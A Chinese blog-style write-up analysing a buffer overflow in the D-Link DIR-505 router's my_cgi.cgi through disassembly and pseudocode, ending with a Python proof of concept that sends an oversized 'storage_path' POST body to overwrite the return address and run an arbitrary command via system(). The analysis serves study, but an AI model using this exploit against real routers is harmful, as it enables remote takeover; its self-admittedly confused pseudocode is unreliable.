D-Link DIR-505便携路由器越界漏洞分析
漏洞介绍
- Link DIR-505路由器是一款便携式无线路由器,但在该路由器的“my_cgi.cgi”的CGI脚本中,存在缓冲区溢出的漏洞。造成漏洞的原因并不是常见的危险函数将大缓冲区复制到小缓冲区造成溢出,而是在目的缓冲区和源缓冲区之间以字节为单位循环赋值转储时,对边界验证不合理导致程序越界访问源缓冲区,最终造成缓冲区溢出。溢出发生后,攻击者可以获取路由器远程控制权。
漏洞分析
先从D-Link官网下载固件ftp://ftp2.dlink.com/PRODUCTS/DIR-505/REVA/DIR-505_FIRMWARE_1.08B10.ZIP
下载完之后用binwalk提取
漏洞的文件在根目录/usr/bin/my_cgi.cgi。作者在书中给出了一段Shell脚本做动态调试,但我不知道什么原因,一模一样的代码就是运行没有效果,所以这里就不进行动态调试,直接分析代码了。
用IDA打开my_cgi.cgi,根据报告漏洞的问题在于处理POST参数中storage_path参数的值时发生了缓冲区溢出,所以我们先找这个字符串的位置,然后按X看看它的交叉引用有哪些。
可以看到一共有八处地方用到了这个字符串,这里主要的问题是在get_input_entries这个函数的引用中,这个函数从名字来看应该是一个接收输入的函数。
进入函数之后可以看到是在这里对这个字符串有引用。
li $v0, 0x440000
addiu $s5, $s2, 1
move $s1, $s4
addiu $s6, $v0, (aStoragePath - 0x440000) # "storage_path"
li $v0, 0x440000
move $s2, $zero
addiu $s3, $sp, 0x440+var_428
addiu $s4, $v0, (aStoragePath+8 - 0x440000) #
先来整体的看看这个函数。可以看到这个函数开头第一个选择分支是s3是否为0来作为判断的,s3从上面来看是a1也就是get_input_entries函数的第二个参数,那还是先把get_input_entries函数的参数弄清楚再说。
li $gp, 0x5D214
addu $gp, $t9
addiu $sp, -0x440
sw $ra, 0x440+var_4($sp)
sw $fp, 0x440+var_8($sp)
sw $s7, 0x440+var_C($sp)
sw $s6, 0x440+var_10($sp)
sw $s5, 0x440+var_14($sp)
sw $s4, 0x440+var_18($sp)
sw $s3, 0x440+var_1C($sp)
sw $s2, 0x440+var_20($sp)
sw $s1, 0x440+var_24($sp)
sw $s0, 0x440+var_28($sp)
sw $gp, 0x440+var_430($sp)
move $s4, $a0
move $s3, $a1
move $s2, $zero
move $s0, $zero
move $s1, $zero
la $fp, stdin
li $s7, 0x3D
li $s5, 0x425
b loc_407AA4
li $s6, 0x26
loc_407AA4:
bgtz $s3, loc_4079D0
nop
和之前的一样,在函数名出按X,看到有四个地方的调用,主要就是关注在主函数的调用。
先看第一个参数是什么,这里是move $a0,$s0,从上面找$s0代表什么
la $t9, memset
li $a2, 0x7490A # n
move $a0, $s0 # s
jalr $t9 ; memset
move $a1, $zero # c
lw $gp, 0x749A0+var_74988($sp)
move $a0, $s0
la $t9, get_input_entries
nop
jalr $t9 ; get_input_entries
move $a1, $s2
li $v1, 0x74970
addu $v1, $sp
sw $v0, 0($v1)
lw $v1, 0($v1)
li $v0, 5
lw $gp, 0x749A0+var_74988($sp)
bne $v1, $v0, loc_40ABD0
nop
可以看到就是前面函数的上一段就是s0,从addiu $s0, $sp, 0x749A0+var_74948这句话应该可以看出,$s0实际上是一块通过堆栈指针开辟的一处空间,大小是多少呢,可以看上面那张图的memset,通过a2也就是memset的第三个参数可以看到大小为0x7490A。
loc_40A608:
blez $s2, loc_40B2D4
addiu $s0, $sp, 0x749A0+var_74
再来看看a1是从哪里来的。从前面的图可以看到a1是由s2赋值的。在这里找到了最近的赋值
loc_40A11C:
li $a0, 0x440000
la $t9, getenv
nop
jalr $t9 ; getenv
addiu $a0, (aContentLength - 0x440000) # "CONTENT_LENGTH"
lw $gp, 0x749A0+var_74988($sp)
beqz $v0, loc_40A154
move $a1, $zero # endptr
la $t9, strtol
move $a0, $v0 # nptr
jalr $t9 ; strtol
li $a2, 0xA # base
lw $gp, 0x749A0+var_74988($sp)
move $s2, $v0
从下面那一块我们可以得到s2=strtol(v0,0,10)
再从上面那一块得到v0=getenv(“CONTENT_LENGTH”)
综合一下就是s2=strtol(getenv(“CONTENT_LENGTH”),0,10),也就是获取CONTENT_LENGTH的长度作为第二个参数。
好了,已经拿到了两个参数具体是什么,接下来回去再看get_input_entries函数,它的第一个参数是一个大小为0x7490A的空的缓冲区,第二个参数是CONTENT_LENGTH的长度。
接下来这句就可以理解了,其实就是一个循环语句,判断s3也就是长度是否为0,可以看作是一个for循环loc_407AA4:
bgtz $s3, loc_4079D0
Nop
而且在最后发现-1操作,更加证实了这个猜测。
addiu $s3, -1
如果在for循环那就进入到左边的,先是一段这样的,大概的意思是a0给的是一个栈帧的位置,从上面这句话la $fp,stdin可以得到,fp是一个标准输入流,然后v0给的是[a0+0x38]这个位置的值,因为没有动态调试,所以这里只能这样描述。
loc_4079D0:
lw $a0, 0x440+var_440($fp)
nop
lw $v0, 0x38($a0)
nop
beqz $v0, loc_407A18
nop
接着比较v0是不是为0如果为0则跳到这里来,利用fgetc重新读取输入。把返回值v0给v1。
loc_407A18:
la $t9, fgetc
nop
loc_407A20:
jalr $t9
nop
lw $gp, 0x440+var_430($sp)
move $v1, $v0
如果前面的判断v0不为0的话,跳到这里来,这一段是给v1和v0赋值,值是前面栈a0的偏移,v1=[a0+0x10],v0=[a0+0x18]。
lw $v1, 0x10($a0)
lw $v0, 0x18($a0)
nop
sltu $v0, $v1, $v0
beqz $v0, loc_407A0C
addiu $v0, $v1, 1
然后就比较如果v1<v0则跳转到这里,这个和前面的fgetc一样是重新读取
loc_407A0C:
la $t9, __fgetc_unlocked
b loc_407A20
nop
否则就跳到这里。这一段因为是纯静态分析的,所以分析的有点迷,这段比大小的具体也不知道是怎么回事,但从实际的情况上来说,好像是不存在走fgetc那条路的。
lbu $v1, 0($v1)
b loc_407A30
sw $v0, 0x10
继续往下走,两条路都会来到这个位置,对v1进行一个移位的操作,先往左移了24位,又往右移动24位,但第二次移动是保留符号位不懂。很迷,不知道移动为了什么。然后就是将v1和s7比较,s7从最前面可以得到是“=”。
loc_407A30:
sll $v1, 24
sra $v1, 24
bne $v1, $s7, loc_407A54
nop
如果不等于就跳到这里和s6=“&”作比较,
loc_407A54:
bne $v1, $s6, loc_407A6C
nop
如果等于就跳到这里,这句是同时适用于上面两个判断的,也就是说如果上面两个任何一个判断为正都跳到这里来。这个s1从前面可以得到初始化为0,s2也是0,s5是0x425
bnez $s1, loc_407A88
mult $s2, $s5
如果s1不等于0的时候,到这,s1置为1,mflo是move from lo,也就是前面乘法的低位给v0,s4从前面看是函数的第一个参数,也就是buf缓冲区,这里就是对buf的一个赋值,同时v1往后移动
loc_407A88:
li $s1, 1
mflo $v0
addu $v0, $s4, $v0
addu $v0, $s0
sb $v1, 0x24($v0)
接着后面就是这个,然后结束本次循环,回到前面进行下一次。
loc_407A9C:
addiu $s0, 1
addiu $s3, -1
前面这段判断的是如果和“=”相同且s1!=0或者,与“=”和“&”都不相同,且s1!=0的情况。
再回到前面,如果判断和“=”相同,且s1=0的话,来到这里,s0置0,s1置1结束循环。
move $s0, $zero
b loc_407AA0
li $s1, 1
如果判断和“=”不相同,也和“&”不相同,s1=0的情况,来到这里,和之前有一段分析的差不多,也是对buf进行赋值。赋值完后结束循环。
mflo $v0
addu $v0, $s4, $v0
addu $v0, $s0
b loc_407A9C
sb $v1, 0($v0)
如果判断和“=”不相同,也和“&”不相同,s1!=0的情况,来到这里s2+1,s0置0,s1置1,结束循环。
addiu $s2, 1
move $s0, $zero
b loc_407AA0
move $s1, $zero
好了,这里的循环体内的已经分析完了,可能整个看下来有点乱,别急,等会用伪代码表示。
再来看看跳出循环会有什么。先来到这里,s5=s2+1,s1=s4=buf,然后把“storage_path“给s6,把“path”给v4,s3给了一个栈指针,指向sp+(0x440-0x428)。
li $v0, 0x440000
addiu $s5, $s2, 1
move $s1, $s4
addiu $s6, $v0, (aStoragePath - 0x440000) # "storage_path"
li $v0, 0x440000
move $s2, $zero
addiu $s3, $sp, 0x440+var_428
addiu $s4, $v0, (aStoragePath+8 - 0x440000) # "path"
接着跳到这里,进行比较,比较的是buf的前几个字符是否为”storage_path“
loc_407ACC:
la $t9, strcmp
move $a0, $s1 # s1
jalr $t9 ; strcmp
move $a1, $s6 # s2
lw $gp, 0x440+var_430($sp)
beqz $v0, loc_407B70
nop
如果buf的前几个字符为”storage_path“则来到这里,s2+1然后判断s2是否小于s5,如果小于则跳到前面重新判断strcmp,如果大于则跳到最后恢复环境。
loc_407B70:
addiu $s2, 1
slt $v0, $s2, $s5
bnez $v0, loc_407ACC
addiu $s1, 0x425
如果buf的前几个字符不为”storage_path“则来到这里比较buf前几个字符是否为”path“然后用memset对前面拿到的s3空间进行清0,如果前面的判断为真则跳到前面分析的位置,否则la $t9, replace_special_char。replace_special_char是个解析函数,一旦走到这里程序就会崩溃。
la $t9, strcmp
move $a0, $s1 # s1
jalr $t9 ; strcmp
move $a1, $s4 # s2
lw $gp, 0x440+var_430($sp)
li $a2, 0x400 # n
move $a0, $s3 # s
la $v1, memset
move $a1, $zero # c
la $t9, replace_special_char
bnez $v0, loc_407B64
addiu $s0, $s1, 0x24
move $t9, $v1
jalr $t9 ; memset
nop
lw $gp, 0x440+var_430($sp)
move $a0, $s0
la $t9, decode
nop
jalr $t9 ; decode
move $a1, $s3
lw $gp, 0x440+var_430($sp)
move $a0, $s0 # dest
la $t9, strcpy
nop
jalr $t9 ; strcpy
move $a1, $s3 # src
lw $gp, 0x440+var_430($sp)
nop
la $t9, replace_special_char
nop
分析完了,接下来上伪代码
Void get_input_entries(char buf[][], int len)
{
int s2 = 0, s0 = 0, s1 = 0, s5 = 0x425, v1, v0;
File *fp;
for (int i = len; i > 0; i--)
{
if (fp + 0x38 == 0)
{
fgetc();
}
else
{
v1 = fp + 0x10;
v0 = fp + 0x18;
if (v1 > v0)
{
fgetc();
}
else
{
fp + 0x10 = v0;
if (fp[i] == ” = ”)
{
if (s1 == 0)
{
s0 = 0;
s1 = 1;
}
else
{
s1 = 1;
v0 = s2 * s5;
buf[s2][s5] = fp[i]
fp[i + 0x24] = v1;
}
}
else if (fp[i] == ” & ”)
{
if (s1 == 0)
{
v0 = s2 * s5;
buf[s2][s5] = fp[i];
s0 += 1;
fp[i] = v1;
}
else
{
s1 = 1;
v0 = s2 * s5;
buf[s2][s5] = fp[i]
s0 += 1;
fp[i + 0x24] = v1;
}
}
else
{
s2 += 1;
s0 = 0;
s1 = 0;
}
}
}
}
char s6[] = ”storage_path”, s4[] = ”path”;
if (!strcmp(buf, s6) || !strcmp(buf, s4))
break;
else
{
replace_special_char();
}
}
大概整体是这样的,没有动态调试无法知道具体数组是怎么分配的,下面是作者给出的伪代码,整体更清楚一点。
整体分析完之后可以看到是”CONTENT_LENGTH“的长度来作为for循环的次数,且没有经过验证,如果这里的长度超过了buf的大小,就会造成溢出。
漏洞利用
找到了溢出点后,再来找找能利用的函数,在字符串里找有没有”system“或者”exec“
找到了system,可以看到有33个地方引用了它
找到了这个函数,把system的参数布置在返回地址+0x28的位置就可以了。
loc_405B1C:
la $t9, system
li $s1, 0x440000
jalr $t9 ; system
addiu $a0, $sp, 0x78+var_50 # command
lw $gp, 0x78+var_60($sp)
nop
然后在通过动态调试判断出溢出点的位置在477472后就是覆盖返回地址了。
最后写poc,写的时候要注意一定要以“storage_path=”开头。
#!/usr/bin/env python
# #
import sys
import urllib2
try:
target = sys.argv[1]
command = sys.argv[2]
except:
print "Usage: %s <target> <command>" % sys.argv[0]
sys.exit(1)
url = "http://%s/my_cgi.cgi" % target
buf = "storage_path="
buf += "D" * 477472
buf += "\x00\x40\x5B\x1C" #覆盖返回地址ra寄存器
buf += "E" * 0x28
buf += command
buf += "\x00"
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()
Poc可以在将路由器连接至电脑后进行测试,这里没有工具,就不测试了。
参考链接
《家用路由器0day漏洞挖掘技术》